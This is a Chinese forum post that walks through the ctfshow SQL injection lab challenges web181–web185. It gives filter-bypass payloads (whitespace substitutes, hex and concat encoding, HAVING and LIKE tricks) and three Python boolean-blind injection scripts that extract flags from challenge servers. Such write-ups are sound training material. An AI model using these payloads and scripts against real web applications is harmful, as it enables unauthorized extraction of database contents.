IT评测·应用市场-qidao123.com

标题: ctfshow-web入门-sql注入（web181-web185） [打印本页]
作者: 我爱普洱茶    时间: 2024-12-9 08:54
标题: ctfshow-web入门-sql注入（web181-web185）
目录

1、web181
2、web182
3、web183
4、web184
5、web185

1、web181


过滤字符：
（1）空白字符：空格 ( )、水平制表符 (\x09)、换行符 (\x0a)、垂直制表符 (\x0b)、换页符 (\x0c)、空字符 (\x00)、回车符 (\x0d)、不换行空格 (\xa0)
（2）符号：星号 (*)、井号 (#)
（3）关键词（不区分大小写）：file、into、select
现实测试 %0c 照旧可以用：
  1. 1'--%0c
复制代码

采用万能密码：
  1. 1'||1--%0c
复制代码
 
拿到 flag：ctfshow{bef90a74-9ae2-4c76-8111-0ea0406f120b}
显示 username 为 flag 的行也可以：
  1. 0'||username='flag
复制代码


2、web182


新增关键字 flag 的过滤，用 %0c ：
  1. 1'||1--%0c
复制代码

拿到 flag：ctfshow{ee8c935f-360a-47c2-99aa-0238ee9c0289}
此外，用 %01 到 %08 都可以：
  1. 1'||1--%01
复制代码

还可以用 like 联合 % 举行通配绕过：
  1. 0'||%0cusername%0clike'f%
复制代码
% 可以匹配任何数目标字符，类似于前面我们用过的通配符 *
 
而 _ 可以匹配单个字符： 
  1. 0'||%0cusername%0clike'f___
复制代码


3、web183


post 提交一个 tableName 参数举行查询，推测表名照旧 ctfshow_user：
  1. tableName=ctfshow_user
复制代码
可以看到一共有 22 条记录 

单独查 flag 的这条数据：空格过滤了用括号取代
  1. tableName=(ctfshow_user)where(pass)like'ctfshow{%'
复制代码
回显 1  

查询失败或者查一条不存在的记录：
  1. tableName=(ctfshow_user)where(pass)like'test'
复制代码
回显 0 

很典型布尔盲注的特性
我们可以不停往 flag 后面新增字符举行猜解，比如下面先推测 flag 的前五个字符为 ctfsh ，后面是通配任意数目字符，回显是 1 ，说明我们推测精确了。
  1. tableName=(ctfshow_user)where(pass)like'ctfsh%'
复制代码

其实我们知道的部分为：ctfshow{
因此我们在此基础上继续往后面推测：
附上勇师傅自己写的 python 脚本，虽然就这么一个短短的简朴脚本，我真的调试了很久。。。
所以，好勤学编程吧。
  1. import requests
  2. import string
  3. url = 'http://abc922e7-01ed-4d9a-85a1-4f67a3ff5f32.challenge.ctf.show/select-waf.php'
  4. dic = string.digits+string.ascii_lowercase+'-{}'  # flag可能的字符
  5. # print(dic)
  6. out = 'ctfshow{'  # 已经确定的部分
  7. for j in range(0, 50):  # 为了确保flag完整输出，范围尽量大一点，观察到flag完全输出后结束运行即可
  8.     for k in dic:
  9.         payload = {'tableName': f"(ctfshow_user)where(pass)like'{out+k}%'"}  # 将每次更新后的out加上我们新增的一个猜测字符添加到payload
  10.         # print(payload)
  11.         re = requests.post(url, data=payload)
  12.         # print(re.text)
  13.         if '$user_count = 1;' in re.text:
  14.             print(k)
  15.             out += k
  16.             break  # 回显1说明我们猜正确了，跳出内层循环，继续猜下一位
  17.     print(out)
复制代码

拿到 flag：ctfshow{3f02d61c-3941-4a3f-8607-9abd3a6519f3} 

4、web184

新增过滤掉了 where ，使用 having 取代：
having 是从前筛选的字段再筛选，而 where 是从数据表中的字段直接举行的筛选的，如果已经筛选出了某个字段，这种情况下 having 和 where 等效，但是如果没有 select 某个字段，后面直接 having 这个字段，就会报错。
  1. select goods_price,goods_name from sw_goods where goods_price > 100
  2. 与
  3. select goods_price,goods_name from sw_goods having goods_price > 100
  4. 等效
复制代码
但是 
  1. select goods_name,goods_number from sw_goods where goods_price > 100
  2. 正常
  3. select goods_name,goods_number from sw_goods having goods_price > 100
  4. 报错，因为前面并没有筛选出 goods_price 字段
复制代码

过滤了引号，使用十六进制绕过 

这里没有过滤空格 
  1. tableName=ctfshow_user group by pass having pass like 0x63746673686f777b25
复制代码
回显成功 

对前面的脚本举行修改：
  1. import requests
  2. import string
  3. url = 'http://edb25716-636e-4234-bea4-4d0d6eccae00.challenge.ctf.show/select-waf.php'
  4. dic = string.digits+string.ascii_lowercase+'-{}'  # flag可能的字符
  5. dic = [f"{ord(c):02x}" for c in dic]  # 将字符转为十六进制格式
  6. # print(dic)
  7. out = '0x63746673686f777b'  # 已经确定的部分
  8. for j in range(0, 50):  # 为了确保flag完整输出，范围尽量大一点，观察到flag完全输出后结束运行即可
  9.     for k in dic:
  10.         # print(k)
  11.         # payload = {'tableName': f"(ctfshow_user)where(pass)like'{out+k}%'"}  # 将每次更新后的out加上我们新增的一个猜测字符添加到payload
  12.         payload = {'tableName': f"ctfshow_user group by pass having pass like {out+k}25"}
  13.         # print(payload)
  14.         re = requests.post(url, data=payload)
  15.         # print(re.text)
  16.         if '$user_count = 1;' in re.text:
  17.             print(k)
  18.             out += k
  19.             break  # 回显1说明我们猜正确了，跳出内层循环，继续猜下一位
  20.     print(out)
复制代码

得到：0x63746673686f777b37313064383239362d363661612d343335622d623364392d3137616539643639393162337d 
将十六进制转为字符串 

拿到 flag：ctfshow{710d8296-66aa-435b-b3d9-17ae9d6991b3} 

5、web185

过滤掉了数字

可以使用 true 联合 concat 拼接出数字

附上 yu 师傅的脚本： 
  1. #author:yu22x
  2. import requests
  3. import string
  4. url="http://8319afbf-281c-4a73-b14e-a29426d0e556.challenge.ctf.show/select-waf.php"
  5. s='0123456789abcdef-{}'
  6. def convert(strs):
  7.   t='concat('
  8.   for s in strs:
  9.     t+= 'char(true'+'+true'*(ord(s)-1)+'),'
  10.   return t[:-1]+")"
  11. flag=''
  12. for i in range(1,45):
  13.   print(i)
  14.   for j in s:
  15.     d = convert(f'^ctfshow{flag+j}')
  16.     data={
  17.     'tableName':f' ctfshow_user group by pass having pass regexp({d})'
  18.     }
  19.     #print(data)
  20.     r=requests.post(url,data=data)
  21.     #print(r.text)
  22.     if("user_count = 1"  in r.text):
  23.       flag+=j
  24.       print(flag)
  25.       if j=='}':
  26.         exit(0)
  27.       break
复制代码

拿到 flag：ctfshow{11e04c1b-6151-4696-81bf-8dba64323cfb}


免责声明：如果侵犯了您的权益，请联系站长，我们会及时删除侵权内容，谢谢合作！更多信息从访问主页：qidao123.com:ToB企服之家，中国第一个企服评测及商务社交产业平台。



欢迎光临 IT评测·应用市场-qidao123.com (https://dis.qidao123.com/) Powered by Discuz! X3.4